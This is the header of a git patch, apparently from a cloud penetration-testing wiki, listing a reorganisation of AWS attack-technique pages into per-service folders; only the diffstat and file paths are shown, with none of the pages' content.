From cd3e39bd8afc8ede0f86e377819fffb3f67485a9 Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Tue, 14 Oct 2025 02:20:38 +0000
Subject: [PATCH] Translated
 ['src/pentesting-cloud/aws-security/aws-unauthenticated-enum-

---
 .../aws-api-gateway-persistence.md            |  32 -
 .../aws-api-gateway-persistence/README.md     |  32 +
 .../aws-cloudformation-persistence.md         |  23 -
 .../aws-cloudformation-persistence/README.md  |  23 +
 .../aws-cognito-persistence.md                |  40 --
 .../aws-cognito-persistence/README.md         |  40 ++
 .../aws-dynamodb-persistence.md               |  59 --
 .../aws-dynamodb-persistence/README.md        |  59 ++
 .../aws-persistence/aws-ec2-persistence.md    |  54 --
 .../aws-ec2-persistence/README.md             |  62 ++
 .../README.md                                 |  75 +++
 .../aws-persistence/aws-ecr-persistence.md    |  91 ---
 .../aws-ecr-persistence/README.md             | 145 +++++
 .../aws-persistence/aws-ecs-persistence.md    |  93 ---
 .../aws-ecs-persistence/README.md             | 151 +++++
 .../aws-persistence/aws-efs-persistence.md    |  21 -
 .../aws-efs-persistence/README.md             |  21 +
 .../README.md}                                |  30 +-
 .../aws-persistence/aws-iam-persistence.md    |  47 --
 .../aws-iam-persistence/README.md             |  47 ++
 .../aws-persistence/aws-kms-persistence.md    |  37 --
 .../aws-kms-persistence/README.md             |  37 ++
 .../aws-lightsail-persistence.md              |  33 --
 .../aws-lightsail-persistence/README.md       |  33 ++
 .../README.md}                                |  14 +-
 .../aws-persistence/aws-s3-persistence.md     |  25 -
 .../aws-s3-persistence/README.md              |  25 +
 .../aws-sagemaker-persistence.md              | 158 -----
 .../aws-sagemaker-persistence/README.md       | 230 ++++++++
 .../aws-secrets-manager-persistence.md        |  51 --
 .../aws-secrets-manager-persistence/README.md | 235 ++++++++
 .../aws-persistence/aws-sns-persistence.md    |  77 ---
 .../aws-sns-persistence/README.md             | 113 ++++
 .../aws-persistence/aws-sqs-persistence.md    |  37 --
 .../aws-sqs-persistence/README.md             |  47 ++
 .../aws-sqs-dlq-backdoor-persistence.md       |  71 +++
 .../aws-sqs-orgid-policy-backdoor.md          |  38 ++
 .../aws-persistence/aws-ssm-persistence.md    |  27 -
 .../aws-ssm-persistence/README.md             |  27 +
 .../aws-step-functions-persistence.md         |  21 -
 .../aws-step-functions-persistence/README.md  |  21 +
 .../README.md}                                |  26 +-
 .../aws-api-gateway-post-exploitation.md      | 132 -----
 .../README.md                                 | 132 +++++
 .../aws-cloudfront-post-exploitation.md       |  31 -
 .../README.md                                 |  31 +
 .../README.md}                                |   8 +-
 .../aws-dlm-post-exploitation.md              |  91 ---
 .../aws-dlm-post-exploitation/README.md       |  91 +++
 .../README.md}                                | 129 ++--
 .../README.md                                 | 195 ++++--
 .../aws-ami-store-s3-exfiltration.md          | 137 +++++
 .../aws-ebs-multi-attach-data-theft.md        |  77 +++
 ...-ec2-instance-connect-endpoint-backdoor.md | 113 ++++
 .../aws-eip-hijack-impersonation.md           |  52 ++
 .../aws-eni-secondary-ip-hijack.md            |  50 ++
 .../aws-managed-prefix-list-backdoor.md       |  72 +++
 .../aws-vpc-endpoint-egress-bypass.md         |  68 +++
 ...pc-flow-logs-cross-account-exfiltration.md |  74 +++
 .../aws-ecr-post-exploitation.md              |  92 ---
 .../aws-ecr-post-exploitation/README.md       | 209 +++++++
 .../aws-ecs-post-exploitation.md              |  57 --
 .../aws-ecs-post-exploitation/README.md       | 124 ++++
 .../aws-efs-post-exploitation.md              |  46 --
 .../aws-efs-post-exploitation/README.md       |  46 ++
 .../aws-eks-post-exploitation.md              | 143 -----
 .../aws-eks-post-exploitation/README.md       | 143 +++++
 ...aws-elastic-beanstalk-post-exploitation.md |  70 ---
 .../README.md                                 |  70 +++
 .../aws-iam-post-exploitation.md              | 166 ------
 .../aws-iam-post-exploitation/README.md       | 166 ++++++
 .../aws-kms-post-exploitation.md              | 182 ------
 .../aws-kms-post-exploitation/README.md       | 182 ++++++
 .../aws-lightsail-post-exploitation.md        |  30 -
 .../aws-lightsail-post-exploitation/README.md |  30 +
 .../aws-organizations-post-exploitation.md    |  17 -
 .../README.md                                 |  17 +
 .../README.md}                                | 139 ++---
 .../aws-s3-post-exploitation.md               |  38 --
 .../aws-s3-post-exploitation/README.md        |  38 ++
 .../aws-sagemaker-post-exploitation/README.md | 178 ++++++
 .../feature-store-poisoning.md                |  50 ++
 .../aws-secrets-manager-post-exploitation.md  | 126 ----
 .../README.md                                 | 130 ++++
 .../README.md}                                |  30 +-
 .../aws-sns-post-exploitation.md              |  68 ---
 .../aws-sns-post-exploitation/README.md       |  82 +++
 .../aws-sns-data-protection-bypass.md         |  92 +++
 .../aws-sns-fifo-replay-exfil.md              | 100 ++++
 .../aws-sns-firehose-exfil.md                 |  76 +++
 .../aws-sqs-dlq-redrive-exfiltration.md       | 150 +++++
 .../aws-sqs-post-exploitation.md              |  73 ---
 .../aws-sqs-post-exploitation/README.md       |  83 +++
 .../aws-sqs-dlq-redrive-exfiltration.md       | 154 +++++
 .../aws-sqs-sns-injection.md                  |  54 ++
 .../README.md}                                |  12 +-
 .../aws-stepfunctions-post-exploitation.md    | 184 ------
 .../README.md                                 | 185 ++++++
 .../README.md}                                |  32 +-
 .../aws-vpn-post-exploitation.md              |  13 -
 .../aws-vpn-post-exploitation/README.md       |  13 +
 .../aws-apigateway-privesc.md                 |  95 ---
 .../aws-apigateway-privesc/README.md          |  95 +++
 .../README.md}                                |  16 +-
 .../aws-chime-privesc.md                      |   9 -
 .../aws-chime-privesc/README.md               |   9 +
 .../README.md}                                |  66 +--
 .../aws-codepipeline-privesc.md               |  37 --
 .../aws-codepipeline-privesc/README.md        |  37 ++
 .../aws-cognito-privesc.md                    | 274 ---------
 .../aws-cognito-privesc/README.md             | 274 +++++++++
 .../aws-datapipeline-privesc.md               |  68 ---
 .../aws-datapipeline-privesc/README.md        |  68 +++
 .../aws-directory-services-privesc.md         |  32 -
 .../aws-directory-services-privesc/README.md  |  32 +
 .../aws-dynamodb-privesc.md                   |  72 ---
 .../aws-dynamodb-privesc/README.md            |  72 +++
 .../aws-ebs-privesc.md                        |  27 -
 .../aws-ebs-privesc/README.md                 |  27 +
 .../aws-ec2-privesc.md                        | 261 ---------
 .../aws-ec2-privesc/README.md                 | 302 ++++++++++
 .../aws-ecr-privesc.md                        | 100 ----
 .../aws-ecr-privesc/README.md                 | 267 +++++++++
 .../aws-ecs-privesc.md                        | 327 -----------
 .../aws-ecs-privesc/README.md                 | 553 ++++++++++++++++++
 .../aws-efs-privesc.md                        |  86 ---
 .../aws-efs-privesc/README.md                 |  86 +++
 .../README.md}                                |  34 +-
 .../aws-emr-privesc.md                        |  62 --
 .../aws-emr-privesc/README.md                 |  62 ++
 .../aws-privilege-escalation/aws-gamelift.md  |  16 -
 .../aws-gamelift/README.md                    |  16 +
 .../README.md}                                |  26 +-
 .../aws-iam-privesc.md                        | 231 --------
 .../aws-iam-privesc/README.md                 | 235 ++++++++
 .../README.md}                                |  32 +-
 .../aws-lambda-privesc.md                     | 323 ----------
 .../aws-lambda-privesc/README.md              | 321 ++++++++++
 .../aws-lightsail-privesc.md                  | 136 -----
 .../aws-lightsail-privesc/README.md           | 136 +++++
 .../aws-macie-privesc.md                      |  38 --
 .../aws-macie-privesc/README.md               |  38 ++
 .../README.md}                                |  10 +-
 .../aws-mq-privesc.md                         |  43 --
 .../aws-mq-privesc/README.md                  |  43 ++
 .../aws-msk-privesc.md                        |  22 -
 .../aws-msk-privesc/README.md                 |  22 +
 .../aws-organizations-prinvesc.md             |  18 -
 .../aws-organizations-prinvesc/README.md      |  18 +
 .../aws-rds-privesc.md                        | 151 -----
 .../aws-rds-privesc/README.md                 | 151 +++++
 .../aws-redshift-privesc.md                   |  95 ---
 .../aws-redshift-privesc/README.md            |  95 +++
 .../aws-s3-privesc.md                         | 186 ------
 .../aws-s3-privesc/README.md                  | 184 ++++++
 .../aws-sagemaker-privesc.md                  | 106 ----
 .../aws-sagemaker-privesc/README.md           | 260 ++++++++
 .../aws-secrets-manager-privesc.md            |  48 --
 .../aws-secrets-manager-privesc/README.md     |  48 ++
 .../aws-sns-privesc.md                        |  37 --
 .../aws-sns-privesc/README.md                 |  80 +++
 .../aws-sqs-privesc.md                        |  40 --
 .../aws-sqs-privesc/README.md                 |  40 ++
 .../aws-ssm-privesc.md                        | 130 ----
 .../aws-ssm-privesc/README.md                 | 130 ++++
 .../README.md}                                |  40 +-
 .../aws-stepfunctions-privesc.md              | 231 --------
 .../aws-stepfunctions-privesc/README.md       | 231 ++++++++
 .../aws-sts-privesc.md                        | 135 -----
 .../aws-sts-privesc/README.md                 | 136 +++++
 .../README.md}                                |  25 +-
 .../README.md}                                |  16 +-
 ...acm-pca-issuecertificate-acm-pca-getcer.md |  32 -
 .../README.md                                 |  32 +
 .../aws-services/aws-documentdb-enum.md       |  40 --
 .../aws-documentdb-enum/README.md             |  40 ++
 .../aws-services/aws-sagemaker-enum/README.md | 200 +++++++
 .../aws-accounts-unauthenticated-enum.md      |  43 --
 .../README.md                                 |  43 ++
 .../aws-api-gateway-unauthenticated-enum.md   |  52 --
 .../README.md                                 |  53 ++
 .../README.md}                                |   4 +-
 .../aws-codebuild-unauthenticated-access.md   |  33 --
 .../README.md                                 |  33 ++
 .../aws-cognito-unauthenticated-enum.md       |  44 --
 .../README.md                                 |  43 ++
 .../aws-documentdb-enum.md                    |   9 -
 .../aws-documentdb-enum/README.md             |   9 +
 .../aws-dynamodb-unauthenticated-access.md    |  15 -
 .../README.md                                 |  15 +
 .../aws-ec2-unauthenticated-enum.md           |  54 --
 .../aws-ec2-unauthenticated-enum/README.md    |  54 ++
 .../aws-ecr-unauthenticated-enum.md           |  30 -
 .../aws-ecr-unauthenticated-enum/README.md    |  30 +
 .../aws-ecs-unauthenticated-enum.md           |  23 -
 .../aws-ecs-unauthenticated-enum/README.md    |  23 +
 ...-elastic-beanstalk-unauthenticated-enum.md |  35 --
 .../README.md                                 |  35 ++
 .../README.md}                                |   6 +-
 .../aws-iam-and-sts-unauthenticated-enum.md   | 162 -----
 .../README.md                                 | 162 +++++
 ...ity-center-and-sso-unauthenticated-enum.md | 123 ----
 .../README.md                                 | 123 ++++
 .../aws-iot-unauthenticated-enum.md           |  11 -
 .../aws-iot-unauthenticated-enum/README.md    |  11 +
 .../aws-kinesis-video-unauthenticated-enum.md |   9 -
 .../README.md                                 |   9 +
 .../aws-lambda-unauthenticated-access.md      |  20 -
 .../README.md                                 |  20 +
 .../README.md}                                |   6 +-
 .../aws-mq-unauthenticated-enum.md            |  20 -
 .../aws-mq-unauthenticated-enum/README.md     |  20 +
 .../aws-msk-unauthenticated-enum.md           |  16 -
 .../aws-msk-unauthenticated-enum/README.md    |  16 +
 .../README.md}                                |  16 +-
 .../aws-redshift-unauthenticated-enum.md      |   9 -
 .../README.md                                 |   9 +
 .../aws-s3-unauthenticated-enum.md            | 194 ------
 .../aws-s3-unauthenticated-enum/README.md     | 193 ++++++
 .../README.md                                 | 108 ++++
 .../aws-sns-unauthenticated-enum.md           |  21 -
 .../aws-sns-unauthenticated-enum/README.md    |  55 ++
 .../aws-sqs-unauthenticated-enum.md           |  21 -
 .../aws-sqs-unauthenticated-enum/README.md    |  21 +
 224 files changed, 10717 insertions(+), 7358 deletions(-)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md
 rename src/pentesting-cloud/aws-security/aws-persistence/{aws-elastic-beanstalk-persistence.md => aws-elastic-beanstalk-persistence/README.md} (50%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md
 rename src/pentesting-cloud/aws-security/aws-persistence/{aws-rds-persistence.md => aws-rds-persistence/README.md} (51%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md
 rename src/pentesting-cloud/aws-security/aws-persistence/{aws-sts-persistence.md => aws-sts-persistence/README.md} (62%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-control-tower-post-exploitation.md => aws-control-tower-post-exploitation/README.md} (50%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-dynamodb-post-exploitation.md => aws-dynamodb-post-exploitation/README.md} (54%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-rds-post-exploitation.md => aws-rds-post-exploitation/README.md} (69%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-ses-post-exploitation.md => aws-ses-post-exploitation/README.md} (56%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-sso-and-identitystore-post-exploitation.md => aws-sso-and-identitystore-post-exploitation/README.md} (66%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-sts-post-exploitation.md => aws-sts-post-exploitation/README.md} (52%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-apprunner-privesc.md => aws-apprunner-privesc/README.md} (56%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-codebuild-privesc.md => aws-codebuild-privesc/README.md} (68%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-elastic-beanstalk-privesc.md => aws-elastic-beanstalk-privesc/README.md} (61%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-glue-privesc.md => aws-glue-privesc/README.md} (50%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-kms-privesc.md => aws-kms-privesc/README.md} (50%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-mediapackage-privesc.md => aws-mediapackage-privesc/README.md} (50%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-sso-and-identitystore-privesc.md => aws-sso-and-identitystore-privesc/README.md} (50%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-workdocs-privesc.md => aws-workdocs-privesc/README.md} (53%)
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{eventbridgescheduler-privesc.md => eventbridgescheduler-privesc/README.md} (56%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
